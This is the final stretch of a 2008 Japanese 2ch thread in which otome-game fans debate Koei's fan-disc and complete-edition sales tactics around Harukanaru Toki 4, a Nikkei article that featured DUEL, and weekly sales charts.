そっち路線で出し進めて欲しかった
- 968 名前：名無しって呼んでいいか？ ：08/06/24 19:27:17 ID:???
- >>967
女性ユーザーはシミュが苦手と思われてるのか、RPG風の方が作りやすいのか
3のシステムが結構受けたのかね
- 969 名前：名無しって呼んでいいか？ ：08/06/24 19:50:47 桜 ID:???
- そろそろ次スレたてますか？
- 970 名前：名無しって呼んでいいか？ ：08/06/24 21:37:48 ID:???
- 980かなと思ってたんですがどうでしょう？
早めに立てておいた方が、というなら立てますが
- 971 名前：名無しって呼んでいいか？ ：08/06/24 21:53:22 ID:???
- 進む時は一気に進むけど進まない時はてんでだからねえ…
今回は980でもいいんじゃね
- 972 名前：名無しって呼んでいいか？ ：08/06/24 22:14:29 ID:???
- >>955-958
一応言っておくけど954はネタだからな
作ってるところが違うから期待なんかしない方がいいよ
ノウハウ持ってる会社が乙女ゲーなんて嫌がるって
販売会社も話すら持っていかないんじゃないの
実現なんて夢のまた夢のまた夢のまた夢、くらいのもん
- 973 名前：名無しって呼んでいいか？ ：08/06/24 23:00:41 ID:???
- 一口に開発会社と言っても
全部が全部同じスタンスでやってるわけじゃないだろうし
どの道一概には言えないんじゃないの？
まぁ、そういう会社と繋がりを持っているメーカーが動かないかぎり
実現するものではないんだろうな、とは思うけどね
- 974 名前：名無しって呼んでいいか？ ：08/06/25 01:10:50 ID:???
- ゲーム本体の開発能力より
ゲームと同時進行で関連商品（＋イベント）を製作する
パワーのある会社じゃないと生き残れない感じだ
- 975 名前：名無しって呼んでいいか？ ：08/06/25 06:52:16 ID:???
- 関連グッズとか声優イベントいらん、それより内容にお金を・・・
と思うのは一般ゲから流れてきた自分くらいなのかな
遥か４のトレジャーＢＯＸがエーデルw以上に売れててビックリ
- 976 名前：名無しって呼んでいいか？ ：08/06/25 08:32:09 ID:???
- >>975
いや、そう思ってる人は（少なくともこのスレには）少なからず
いるんだろうが、声優イベントやら限定版商法が未だにまかり通る辺り
そういう商法はメーカー的に旨みがあるんだと思う
EDスレ見てたら、遥か4の一部のEDに不満はあるけどその辺フォローした
FD的な物が出るなら買うとか言ってる人が結構いるのにビックリした
乙女ゲ業界はいいお客さんがいて肥は笑いが止まらないんだろな
- 977 名前：名無しって呼んでいいか？ ：08/06/25 09:05:30 ID:???
- 遙か4は実際に買ったけど、あれで普通にアンケで追加ディスクを希望とか書いちゃう客が多いんなら
確かに肥は美味しいだろうなと思った
一般ゲーであのレベルをやらかしたら信用ガタ落ちだろうになあ
なにより自分は肥みたいなでかいところがこういうことを平気でやってることにがっかりしたよ 夢も希望もない
- 978 名前：名無しって呼んでいいか？ ：08/06/25 10:10:14 ID:???
- 乙女ゲ業界は色んな意味で世知辛いのぉ。
- 979 名前：名無しって呼んでいいか？ ：08/06/25 13:07:39 ID:???
- >>977
最後の一行同意
創始者で老舗で最大手が率先してあの商法だもんな…
そりゃ他も右に倣えする罠
あーあマジで絶望しそう
- 980 名前：名無しって呼んでいいか？ ：08/06/25 20:22:58 ID:???
- 次スレたてました
乙女ゲーについて真面目に議論してみるスレ その５
http://game14.2ch.net/test/read.cgi/ggirl/1214392935/
- 981 名前：名無しって呼んでいいか？ ：08/06/25 20:27:30 ID:???
- >>980
乙です！
- 982 名前：名無しって呼んでいいか？ ：08/06/25 20:30:51 ID:???
- >>980
乙ー
遥か4の発売でもう少し伸びるかと思ったけど、今のところ結構静かだな
皆プレイ中でそれ所じゃないのか、今更肥商法に意見しようとは思わないのか
- 983 名前：名無しって呼んでいいか？ ：08/06/25 20:31:26 ID:???
- >>980
乙
肥みたいな在りかたをよしとするユーザーもかなりの問題だよなあ
回り回って色んなものに悪影響を与えるだけなんだが
遙か３はある意味乙女ゲーを駄目にする作品だったんじゃないだろうか
- 984 名前：名無しって呼んでいいか？ ：08/06/25 21:44:41 ID:???
- 日経の記事見たけどDUELが一番先に取り上げられているｗ
先駆者的な存在の肥とこれからのリーダーになるっぽいD3はわかるけど何でDUELなんだよｗ
- 985 名前：名無しって呼んでいいか？ ：08/06/25 21:51:10 ID:???
- >>982
追加ディスク前提のゲームはやっぱ評価待ちしてる人間も多いんじゃない？
特にこういう場所でｇｄｇｄ言うような人間はさ
- 986 名前：名無しって呼んでいいか？ ：08/06/25 21:59:12 ID:???
- >>984
やっぱりインパクトを与えたものが話題になるってことなんだろうな
例えばGSDSのほうがよっぽど売れてて評価もされてても面白みはないんだろう
>「セールスでは多少伸び悩むものの、ネットなどの書き込みも
>非常に多いので今後に期待したい」（BNG広報）と意気込みを語る。
書き込みの内容を分かってて言ってるんだろうか
第一報が出た時点から殆どが否定意見とねーよｗｗなノリの筈なのに
- 987 名前：名無しって呼んでいいか？ ：08/06/25 22:03:43 ID:???
- タッチペンでやろーつんつんはそれなりに面白みはあると思うけど
- 988 名前：名無しって呼んでいいか？ ：08/06/25 22:09:00 ID:???
- >>986>>984
いくらインパクトがあるからってDUELはないよなと思ってしまった
どうせなら月刊オトメイトも取り上げれば良いのにね
- 989 名前：名無しって呼んでいいか？ ：08/06/25 22:15:25 ID:???
- デュエルは話題にはなったが売れなかったし一過性のネタとしか
乙女ゲーユーザーには思われてなかったんだがな
ネットで乙女ゲー＝ヘブン状態な扱いになったような害悪すらあるのに
- 990 名前：名無しって呼んでいいか？ ：08/06/25 22:16:44 ID:???
- でもヘブン顔コンテストとかますます調子づいてるし…
目立つだけに厄介だ
- 991 名前：名無しって呼んでいいか？ ：08/06/25 22:17:07 ID:???
- 乙女ゲ界的に大打撃（インパクト）は与えたけどねえ…。
DUELみたいのが前出ちゃうと勘違いゲーム（特に微エロ）余計に増えそうで本当に嫌だorz
あと日経の「ジャニーズ的人気」ってのもどうかと…。けしていい意味じゃないだろ。
人気声優使ってイベントやって関連商品ボッタクリしてるからこんなこと言われんだよ…。
- 992 名前：名無しって呼んでいいか？ ：08/06/25 23:23:46 ID:???
- 201 名前： ◆PSY/IZWGU. [sage] 投稿日： 2008/06/25(水) 22:10:01 ID:U/JQ6iWA0
トロイ買った。
帰るのが楽しみです。
DSL 37000
PSP 55000
Wii 44000
PS3 25000
360 1900
1.スパロボAP 94000
2.MGS4 67000 544000
3.マリオ野球 59000
4.遥か4 58000
5.WiiFit 28000 2231000
6.マリカWii 24000 1503000
7.MHP2G 19000 2283000
8.パワプロP3 18000 187000
9.美文字 13000 291000
10.Wiiスポ 11000 2998000
遙か4の大変な伸びに驚愕した
何だかんだ言って6万か
- 993 名前：名無しって呼んでいいか？ ：08/06/25 23:25:56 ID:???
- 今回自分もだけど初めて遙かを買う人が多かったと思うよ
漫画連載もあったり入りやすかった
スレは色んな意見があるけど乙女ゲーとしてはやはり良い出来だと思う
- 994 名前：名無しって呼んでいいか？ ：08/06/25 23:30:33 ID:???
- 遙か4の出来は良い方だと自分も思う
勿論不満点もあるけど
とりあえず買った以上はその不満点はアンケに書いて出すつもりでいる
声を上げておかないと意味ないと思うし
- 995 名前：名無しって呼んでいいか？ ：08/06/25 23:37:00 ID:???
- 遙か４は露骨な完全版商法と既存ユーザーをある意味切り捨てる展開だから
派生も続編ももう伸びないと思う
ここが頭打ちだろうな
- 996 名前：名無しって呼んでいいか？ ：08/06/25 23:37:24 ID:???
- 同意見の人がいて安心した
自分も色々思いながらも今回遙かを買ったけどやっぱり出来が良いと思う
一般RPGに比べればあれかもだけど乙女としては充分以上だろうと
数字はある意味正直だからな…
- 997 名前：名無しって呼んでいいか？ ：08/06/25 23:38:39 ID:???
- >>995
そう言いつつ熱狂的な儲がいるのがネオロマなんだね…
- 998 名前：名無しって呼んでいいか？ ：08/06/25 23:40:18 ID:???
- >>996
こういうユーザーがいるから、乙女ゲーは先行きが暗いんだよな…
乙女ゲだからいいか、じゃ退化されるばっかりだよ
- 999 名前：名無しって呼んでいいか？ ：08/06/25 23:42:22 ID:???
- 少なくとも、最初から完全版見込んでの不完全版発売はやめてほしい
- 1000 名前：名無しって呼んでいいか？ ：08/06/25 23:42:25 ID:???
- 一般ゲーと比べるつもりはないけど乙女ゲーとしては満足はいかなかったな
恋愛過程がすっぽぬけてるというかいわゆる萌えが少なかったというか
乙女ゲーマーが気にする「キャラ」「声」「甘いイベント」がないからこうまで評判悪いんだと思うけど
それ以外の部分はまあ肥の最低限のクオリティは保ってくれてると思うよ
- 1001 名前：１００１ ：Over 1000 Thread
- このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
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